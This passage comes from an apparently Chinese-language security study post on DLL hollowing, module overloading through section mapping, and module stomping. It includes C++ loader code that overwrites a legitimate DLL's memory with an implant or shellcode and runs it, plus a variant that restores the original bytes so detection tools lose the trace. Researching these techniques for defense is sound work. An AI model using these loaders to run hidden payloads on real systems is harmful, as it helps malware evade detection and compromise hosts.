HANDLE hProcess = GetCurrentProcess();

//cleanup previous module:

size_t prev_size = peconv::get_image_size((BYTE*)mapped);
//将Dll全部置0
if (prev_size) {
if (!VirtualProtect((LPVOID)mapped, prev_size, PAGE_READWRITE, &oldProtect)) return false;
memset(mapped, 0, prev_size);
if (!VirtualProtect((LPVOID)mapped, prev_size, PAGE_READONLY, &oldProtect)) return false;
}

if (!VirtualProtect((LPVOID)mapped, implant_size, PAGE_READWRITE, &oldProtect)) {
// 判断加载Dll的内存大小与evil code大小,后者不能比前者大
if (implant_size > prev_size) {
std::cout << "[-] The implant is too big for the target!\n";
}
return false;
}
// 由于二者都已经映像了,所以直接将evil code 复制过去
memcpy(mapped, implant_dll, implant_size);
is_ok = true;

// 设置各个节的正确权限属性
if (!set_sections_access(mapped, implant_dll, implant_size)) {
is_ok = false;
}
return is_ok;
}

在镂空重写后,获取偏移,执行入口点 :)

// 获取evil code到入口点的RVA
DWORD ep_rva = peconv::get_entry_point_rva(raw_payload);

// 检查evil code是不是Dll
bool is_dll = peconv::is_module_dll(raw_payload);

// 释放原始evil code
peconv::free_file(raw_payload); raw_payload = nullptr;

// 执行payload
// Dll:执行入口点 exe:指针执行
int ret = run_implant(mapped, ep_rva, is_dll);

那么整个流程如图所示:

QQ_1720327600259

效果:

image-20240707153548533

Module Overloading

该部分思路同上,只是项目中使用了 映射注入(Mapping Injection)便归类到Module Overloading中,其实只是技术细节有差别,利用思路大同小异。特点:项目通过 映射技术之一:NtCreateSection + NtMapViewOfSection 引入合法Dll 映射到本地进程(也可以映射到远程进程)并直接修改。对该部分的本地视图的更改也会导致远程视图被修改。这里通过使用映射避免使用 LoadLibrary系列API

首先介绍映射技术大体思路:通过一些系统函数组合将磁盘中的文件直接映射到虚拟内存中,将恶意PE进行覆盖或shellcode填充,执行入口。

有以下几条实现方法 使用文件映射进行远程进程注入

  • CreateFileMapping → MapViewOfFile → MapViewOfFile2
  • NtCreateSection → NtMapViewOfSection(项目采用方式)
  • CreateFileMapping → MapViewOfFile → NtMapViewOfSection(cobalt strike采用方式)

那么在项目中代码区别如下,不再使用 LoadLibrary,而是使用映射技术:

PVOID load_target_dll(const char* dll_name)
{
#ifdef CLASSIC_HOLLOWING
std::cout << "[*] Loading the DLL (using LoadLibary)...\n";
//return LoadLibraryA(dll_name);
return LoadLibraryEx(dll_name, NULL, DONT_RESOLVE_DLL_REFERENCES);
#else
std::cout << "[*] Mapping the DLL image...\n";
return map_dll_image(dll_name);
#endif
}
-------------------------------------------------------------------------------
PVOID map_dll_image(const char* dll_name)
{
// 创建合法Dll文件对象
HANDLE hFile = CreateFileA(dll_name,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
HANDLE hSection = nullptr;
// 为文件对象创建一个section
NTSTATUS status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hFile
);

DWORD protect = PAGE_EXECUTE_READWRITE;
PVOID sectionBaseAddress = NULL;
SIZE_T viewSize = 0;
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
// 将section映射到内存中
if ((status = NtMapViewOfSection(hSection,
NtCurrentProcess(),
&sectionBaseAddress,
NULL,
NULL,
NULL,
&viewSize,
inheritDisposition,
NULL,
protect)
) != STATUS_SUCCESS)
// 返回基址
return sectionBaseAddress;
}

效果:

QQ_1720374014934

Module Stomping

模块踩踏原理同上面二者,主要区别为Stomping不再执行复杂的PE展开、获取偏移、执行入口,而是直接将shellcode覆写到合法Dll中的区域,并且直接执行,由PE加载转为了直接的shellcode加载。

特点:将 shellcode 写入到section中,直接获取地址执行

流程如图:

QQ_1720453398400

关键代码,通过LoadLibraryEx获取Dll基址,再获取入口点地址,然后覆写、执行shellcode

DWORD oldProtect = 0;
VirtualProtect((LPVOID)entryPointAddress, length, PAGE_READWRITE, &oldProtect);
memcpy(entryPointAddress, shellcode, length);
memset(shellcode, 0, length);
VirtualProtect((LPVOID)entryPointAddress, length, PAGE_EXECUTE_READ, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)entryPointAddress, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

效果,检测的IOC发现.text段的改变,该问题产生原因是由于覆写shellcode导致检测到磁盘中Dll与内存中的.text段内容不同。

QQ_1720452184625

入口点被覆写为shellcode

QQ_1720452376761

为了去除shellcode在内存中的痕迹,可以在执行完shellcode后,将原始内容进行填充,这样避免这一IOC。

流程图如下:

QQ_1720453700693

关键代码如下

unsigned char* buffer = new unsigned char[length];
memcpy(buffer, entryPointAddress, length);
DWORD oldProtect = 0;
VirtualProtect((LPVOID)entryPointAddress, length, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(entryPointAddress, shellcode, length);
memset(shellcode, 0, length);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)entryPointAddress, NULL, 0, NULL);
Sleep(2000);
memmove(entryPointAddress,buffer,length);
VirtualProtect((LPVOID)entryPointAddress, length, PAGE_EXECUTE_READ, &oldProtect);
cout << "[*] Done" << endl;
WaitForSingleObject(hThread, INFINITE);

关于远程注入

上面所有的DLL Hollowing例子都是自身进程在没有开启CFG(Control Flow Guard)时才能正常运行,在实现远程进程注入时,如果目标开启CFG保护,会抛出CFG异常从而运行失败,关于更多CFG下篇再学习。

参考

实战dll注入(原理, 踩坑及排雷)

反射Dll:

DLL注入新姿势:反射式DLL注入研究 - h2z

深入理解反射式dll注入技术

反射DLL注入原理解析

https://github.com/sud01oo/ProcessInjection

DLL Hollowing:

Improving the stealthiness of memory injections techniques

DLL Jmping: Old Hollow Trampolines in Windows DLL Land

Burrowing a Hollow in a DLL to Hide

Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing

DLL Hollowing

Hiding malicious code with “Module Stomping”

映射注入:

https://idiotc4t.com/code-and-dll-process-injection/mapping-injection

使用文件映射进行远程进程注入

CFG:

利用CFG寻找潜在的ShellCode内存